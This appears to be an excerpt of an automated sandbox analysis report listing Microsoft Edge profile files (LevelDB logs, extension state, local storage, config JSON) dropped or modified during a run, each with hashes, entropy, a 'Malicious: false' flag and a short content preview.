Preview:	2024/11/17-22:41:30.986 1468 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/17-22:41:31.166 1468 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Reputation:	unknown
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324609765477206
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rp:C1gAg1zfvB
MD5:	9896FFD8AF1B11E354DC3F5A54264363
SHA1:	146A632E1B38A1A6536F9CB1A6DCEDC1F50CF91B
SHA-256:	47DA89EE88B3B680923C088400EC6F560D8F762B47C8048793BE46276B53F550
SHA-512:	A0E073151A2A1FB97D09EB200BE20B21B7273148EA6D046EB23A7184EC177F955F90B6E56393C1D281998EDA44F9FF63239988C494F7EB8039585FA5A41F9EF5
Malicious:	false
Reputation:	unknown
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Reputation:	unknown
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.159052014509356
Encrypted:	false
SSDEEP:	6:HUT0u0/+q2PN723oH+Tcwt8aPrqIFUt8YUT0uT0FJZmw+YUT0uT0F9VkwON723oD:3u0GvVaYebL3FUt82uT0//+2uT0t5OaE
MD5:	1F3524AD2850C05D02AEFAE975184F46
SHA1:	45C2318F8841E0EAA1D3FE3BFE73080913890743
SHA-256:	56BDC171C682187DD3953BC5D79C096319BC15A5D178C142FBB3DF5C252874EB
SHA-512:	EC320A2F575B3B6F300A81CE03290020912AFC88C900CDD30F4DED4BAE0239578182FFCDB1E844E13F4155A3E742DAFC06364481B287CE4495A097C781A10161
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:25.298 1a8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/17-22:41:25.319 1a8 Recovering log #3.2024/11/17-22:41:25.319 1a8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.159052014509356
Encrypted:	false
SSDEEP:	6:HUT0u0/+q2PN723oH+Tcwt8aPrqIFUt8YUT0uT0FJZmw+YUT0uT0F9VkwON723oD:3u0GvVaYebL3FUt82uT0//+2uT0t5OaE
MD5:	1F3524AD2850C05D02AEFAE975184F46
SHA1:	45C2318F8841E0EAA1D3FE3BFE73080913890743
SHA-256:	56BDC171C682187DD3953BC5D79C096319BC15A5D178C142FBB3DF5C252874EB
SHA-512:	EC320A2F575B3B6F300A81CE03290020912AFC88C900CDD30F4DED4BAE0239578182FFCDB1E844E13F4155A3E742DAFC06364481B287CE4495A097C781A10161
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:25.298 1a8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/17-22:41:25.319 1a8 Recovering log #3.2024/11/17-22:41:25.319 1a8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Reputation:	unknown
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.149304383935026
Encrypted:	false
SSDEEP:	6:HUT0uW39+q2PN723oH+Tcwt865IFUt8YUT0u/UQZmw+YUT0u/UAVkwON723oH+TT:3uW34vVaYeb/WFUt82un/+2u15OaYebD
MD5:	5B11D9C2CB131738A0130E3598FAB0D6
SHA1:	8D4FB051E0B844CA24B2A38D187005F8B86D4FFB
SHA-256:	5196DFA2459538B153BB702F5B006873F7687C9E3222BB0325194ABBAEA256C9
SHA-512:	0AEC8D5F62C347433103DCF12A53F304839BC36C5AFDD80DF90E68526107FDB23DE3EDA5475726CAAFF8F97F06D5B6363597282A33F46074363DFEA1D49A18D4
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:25.324 1a8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/17-22:41:25.325 1a8 Recovering log #3.2024/11/17-22:41:25.325 1a8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.149304383935026
Encrypted:	false
SSDEEP:	6:HUT0uW39+q2PN723oH+Tcwt865IFUt8YUT0u/UQZmw+YUT0u/UAVkwON723oH+TT:3uW34vVaYeb/WFUt82un/+2u15OaYebD
MD5:	5B11D9C2CB131738A0130E3598FAB0D6
SHA1:	8D4FB051E0B844CA24B2A38D187005F8B86D4FFB
SHA-256:	5196DFA2459538B153BB702F5B006873F7687C9E3222BB0325194ABBAEA256C9
SHA-512:	0AEC8D5F62C347433103DCF12A53F304839BC36C5AFDD80DF90E68526107FDB23DE3EDA5475726CAAFF8F97F06D5B6363597282A33F46074363DFEA1D49A18D4
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:25.324 1a8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/17-22:41:25.325 1a8 Recovering log #3.2024/11/17-22:41:25.325 1a8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Reputation:	unknown
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.147081976755571
Encrypted:	false
SSDEEP:	6:HUT0DqL+q2PN723oH+Tcwt8NIFUt8YUT0DySZmw+YUT0DyuVkwON723oH+Tcwt8n:3DDvVaYebpFUt82D9/+2DP5OaYebqJ
MD5:	5A5640CE51D71A434BCC4FF80AD5242F
SHA1:	F0BC0D940DC31A343BA82A2A9682DC8750800352
SHA-256:	D5F61752C978517DC1652AAD28863555E5BDFD13343F7FC9D4CD7A0041108347
SHA-512:	254E2EE396CDB2F396A4E512C8B782C69DFE85F3C3FCDF566B271E1BF6ECE3FDC539FDA86D37142BA20545D98A281A5F98583C121E51B5E9E641BD6F9828C15F
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:26.208 1dd8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/17-22:41:26.209 1dd8 Recovering log #3.2024/11/17-22:41:26.209 1dd8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.147081976755571
Encrypted:	false
SSDEEP:	6:HUT0DqL+q2PN723oH+Tcwt8NIFUt8YUT0DySZmw+YUT0DyuVkwON723oH+Tcwt8n:3DDvVaYebpFUt82D9/+2DP5OaYebqJ
MD5:	5A5640CE51D71A434BCC4FF80AD5242F
SHA1:	F0BC0D940DC31A343BA82A2A9682DC8750800352
SHA-256:	D5F61752C978517DC1652AAD28863555E5BDFD13343F7FC9D4CD7A0041108347
SHA-512:	254E2EE396CDB2F396A4E512C8B782C69DFE85F3C3FCDF566B271E1BF6ECE3FDC539FDA86D37142BA20545D98A281A5F98583C121E51B5E9E641BD6F9828C15F
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:26.208 1dd8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/17-22:41:26.209 1dd8 Recovering log #3.2024/11/17-22:41:26.209 1dd8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Reputation:	unknown
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:PHDvtFlljq7A/mhWJFuQ3yy7IOWU/1tn4dweytllrE9SFcTp4AGbNCV9RUIen:w75fOvWd0Xi99pEY0n
MD5:	02BC68867E4BD4EFBCB38C9C4621DFCF
SHA1:	04FFB6446DC8AC956DF303E84B230EE5119D2EAA
SHA-256:	6EAD64FC0610A8E70EBCF739F9C23A7CC1B2C007C37B74448F5A73006AE05B2D
SHA-512:	3F7B6BAF292A11957BE79BEEB7C5E372049B08298731E3FF2CE684702A389E5ADCDB9FF544FBBC4DCFE8FC3B1771B0C8354DFD940103CA645F27885A9BD4A934
Malicious:	false
Reputation:	unknown
Preview:	...............8...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Reputation:	unknown
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.648077167863425
Encrypted:	false
SSDEEP:	384:aj9P0qQkQerkjlB773pLQP/Kbt1cChCgam6ItRKToaAu:ad5e2mlB7KP/jCv9RKcC
MD5:	7B7A1FFF8B09A61FF9ED2457A4FDF50A
SHA1:	BC9675FB868E7A4C7CB277341F7EB479943A5968
SHA-256:	FA8550FBED22367768F65CB150DC57D513FA75AAED836A8BD3030B3A9BFEB26A
SHA-512:	72929143B0456060868733306E132F9CC69FCCCB69988D36B6CABE93F4BF44D75743738131AA96C5190AB5A8F124157FB4B6361B9B8B5951E4BB245D5E6DE9EC
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.21634420171818
Encrypted:	false
SSDEEP:	12:3S+vVaYeb8rcHEZrELFUt82W/+2SV5OaYeb8rcHEZrEZSJ:TVaYeb8nZrExg86OaYeb8nZrEZe
MD5:	A7B55774469E28355BE716EE6F9ECDEF
SHA1:	C69E485508F3E23CD58101AAABA8AC69AC4CB859
SHA-256:	F4B4747D9D54868060AE48BDA9BCE901191B96C4CF07DCF9DB7B00DE5BF81F1B
SHA-512:	06704052B9852B065ED4B46653B7BE1D95024E6C43D7BD3ACA7727AABE0B7A8670F2AE476F20441C9EB99A3262627A9ECCB7B610611D0966EEB3BF3475B9C62F
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:30.316 1ddc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/17-22:41:30.316 1ddc Recovering log #3.2024/11/17-22:41:30.316 1ddc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.21634420171818
Encrypted:	false
SSDEEP:	12:3S+vVaYeb8rcHEZrELFUt82W/+2SV5OaYeb8rcHEZrEZSJ:TVaYeb8nZrExg86OaYeb8nZrEZe
MD5:	A7B55774469E28355BE716EE6F9ECDEF
SHA1:	C69E485508F3E23CD58101AAABA8AC69AC4CB859
SHA-256:	F4B4747D9D54868060AE48BDA9BCE901191B96C4CF07DCF9DB7B00DE5BF81F1B
SHA-512:	06704052B9852B065ED4B46653B7BE1D95024E6C43D7BD3ACA7727AABE0B7A8670F2AE476F20441C9EB99A3262627A9ECCB7B610611D0966EEB3BF3475B9C62F
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:30.316 1ddc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/17-22:41:30.316 1ddc Recovering log #3.2024/11/17-22:41:30.316 1ddc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1407
Entropy (8bit):	5.606782279885021
Encrypted:	false
SSDEEP:	24:M2tZWZUlHqA8luIH5TW6XZLWKiV03y1x49u3N2gFHHmx2ztPFRIMyG:LtZglTxHQ6XZ6pV03Sx49u3fHHQ2ztPd
MD5:	1653CB74DCB2857C360E56026DDFF353
SHA1:	D3D8D9AB9C46759C384AB758D57EDD6D05996903
SHA-256:	1C0D506D59CF5DC752D80A3C1EEEF484A8DEBC513A6E4D5C7F1D9219FDE65861
SHA-512:	E3C3604A6ABD830A1837C1BCAA44D98FDCB0BAED42988BDA3F48A3FB64459912EB11525C8087AFBCBA56D5CC52891F7D4681319A1028F2ED3FA906CEB5F84ABF
Malicious:	false
Reputation:	unknown
Preview:	.`x................VERSION.1..META:https://ntp.msn.com.............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":582}.!_https://ntp.msn.com..LastKnownPV..1731901295627.-_https://ntp.msn.com..LastVisuallyReadyMarker..1731901297030.._https://ntp.msn.com..MUID!.173F2CCF736C687C022A39F472CD694D.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1731901295737,"schedule":[4,-1,16,-1,-1,24,-1],"scheduleFixed":[4,-1,16,-1,-1,24,-1],"simpleSchedule":[18,19,43,20,50,10,49]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1731901295584.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241115.411"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.178559486506129
Encrypted:	false
SSDEEP:	6:HUT0uJu9+q2PN723oH+Tcwt8a2jMGIFUt8YUT0uJZJZmw+YUT0uJW9VkwON723oL:3uHvVaYeb8EFUt82ul/+2ue5OaYeb8bJ
MD5:	6443A1175064A56501F09A8BFB983541
SHA1:	A6EE7E71876BAF339A302B5173A42F549849BC4C
SHA-256:	F98E875332B62FAEE7BAED52E50EAB7F4314932126CA661701DE14A32605B607
SHA-512:	2377AB2E2D1782E8E7336CB5959A98D7C37DF8F8F9696B7F92EC9AC510011AEC35E190959435DF924DA701B1BDCDA9B96EBBFD4258D124235A3A008301462BC2
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:25.591 1748 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/17-22:41:25.594 1748 Recovering log #3.2024/11/17-22:41:25.599 1748 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.178559486506129
Encrypted:	false
SSDEEP:	6:HUT0uJu9+q2PN723oH+Tcwt8a2jMGIFUt8YUT0uJZJZmw+YUT0uJW9VkwON723oL:3uHvVaYeb8EFUt82ul/+2ue5OaYeb8bJ
MD5:	6443A1175064A56501F09A8BFB983541
SHA1:	A6EE7E71876BAF339A302B5173A42F549849BC4C
SHA-256:	F98E875332B62FAEE7BAED52E50EAB7F4314932126CA661701DE14A32605B607
SHA-512:	2377AB2E2D1782E8E7336CB5959A98D7C37DF8F8F9696B7F92EC9AC510011AEC35E190959435DF924DA701B1BDCDA9B96EBBFD4258D124235A3A008301462BC2
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:25.591 1748 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/17-22:41:25.594 1748 Recovering log #3.2024/11/17-22:41:25.599 1748 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\23901c9d-d21a-4f23-8aed-811b4e6e8708.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\34ce6f50-7e10-473b-ac7b-944f587e8428.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Reputation:	unknown
